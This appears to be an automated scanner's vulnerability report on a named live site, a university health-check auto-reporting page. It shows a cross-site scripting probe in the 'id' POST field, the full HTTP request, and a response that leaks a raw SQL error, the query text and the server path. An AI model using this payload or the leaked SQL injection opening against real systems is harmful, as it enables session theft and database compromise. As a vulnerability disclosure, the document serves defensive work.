The vulnerability affects https://nwu-auto-report.stdin.info/reg.php , id
Attack Details
URL encoded POST input id was set to 1'"()&%<ScRiPt >g4y4(9098)</ScRiPt>
HTTP Request
POST /reg.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://nwu-auto-report.stdin.info/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 164
Host: nwu-auto-report.stdin.info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
city=San%20Francisco&district=1&id=1'"()%26%25<ScRiPt%20>g4y4(9098)</ScRiPt>&info_1=555&info_2=555&info_3=555&password=g00dPa%24%24w0rD&province=NY&sfzx=0&tw=1
HTTP Response
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 May 2022 08:27:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.0
Strict-Transport-Security: max-age=31536000
Original-Content-Encoding: gzip
Content-Length: 5707
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in
/www/wwwroot/nwu-auto-report.stdin.info/web/reg.php on line
42
Error:
INSERT INTO auto_report_account_list (id, password, sfzx, tw, area, city, province, address, geo_api_info, is_active)
VALUES ('1'"()&%<ScRiPt >g4y4(9098)</ScRiPt>', 'g00dPa$$w0rD', '0', '1', 'NY San Francisco 1', 'San Francisco', 'NY', '', '555', 1)
ON DUPLICATE KEY UPDATE
sfzx = values(sfzx), tw = values(tw), area = values(area), city = values(city),
province = values(province), address = values(address), geo_api_info = values(geo_api_info),
is_active = values(is_active)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"()&%<ScRiPt >g4y4(9098)</ScRiPt>', 'g00dPa$$w0rD', '0', '1', 'NY San Franc' at line 2
<!doctype html>
<!-- MDUI CSS -->
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/mdui.min.css"
integrity="sha384-cLRrMq39HOZdvE0j6yBojO4+1PrHfB7a9l5qLcmRm/fiWXYY+CndJPmyu5FV/9Tw"
crossorigin="anonymous"
/>
<title>西北大学晨午检自动填报</title>
<div class="mdui-row mdui-color-teal-100 mdui-hidden">
<br/>
<div class="mdui-col-xs-12">
<div class="mdui-typo-title mdui-center mdui-text-center">认证成功</div>
</div>
<br/>
<br/>
</div>
<br/>
<div class="mdui-row mdui-color-pink-100 mdui-hidden">
<br/>
<div class="mdui-col-xs-12">
<div class="mdui-typo-title mdui-center mdui-text-center">认证失败，请检查学号及统一身份认证密码！</div>
</div>
<br/>
<br/>
</div>
<br/>
<div class="mdui-row mdui-color-teal-100 mdui-hidden">
<br/>
<div class="mdui-col-xs-12">
<div class="mdui-typo-title mdui-center mdui-text-center">更新成功</div>
</div>
<br/>
<br/>
</div>
<br/>
<div class="mdui-row mdui-color-teal-100 mdui-hidden">
<br/>
<div class="mdui-col-xs-12">
<div class="mdui-typo-title mdui-center mdui-text-center">注册成功</div>
</div>
<br/>
<br/>
</div>
<br/>
<div class="mdui-row mdui-color-pink-100 mdui-hidden">
<br/>
<div class="mdui-col-xs-12">
<div class="mdui-typo-title mdui-center mdui-text-center">更新失败：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"()&%<acx><ScRiPt >g4y4(9098)</ScRiPt>', 'g00dPa$$w0rD', '0', '1', 'NY San Franc' at line 2</div>
</div>
<br/>
<br/>
</div>
<br/>
<div class="mdui-divider"></div>
<br/>
<div class="mdui-row">
<div class="mdui-col-xs-12">
<div class="mdui-typo-title-opacity">相关功能</div>
<br/>
<a class="mdui-btn mdui-btn-raised" href="/more/report_status.html">查看当前填报状态</a>
<a class="mdui-btn mdui-btn-raised" href="/more/report_status.html">暂停自动填报</a>
<a class="mdui-btn mdui-btn-raised" href="/check.html">查看近期填报日志</a>
</div>
</div>
<script
src="https://cdn.jsdelivr.net/npm/
[email protected]/dist/js/mdui.min.js"
integrity="sha384-gCMZcshYKOGRX9r6wbDrvF+TcCCswSHFucUzUPwka+Gr+uHgjlYvkABr95TCOz3A"
crossorigin="anonymous"
></script>
<script>
var main_menu = new mdui.Drawer('#main_menu');
mdui.mutation()
</script>
The impact of this vulnerability
Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.
Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent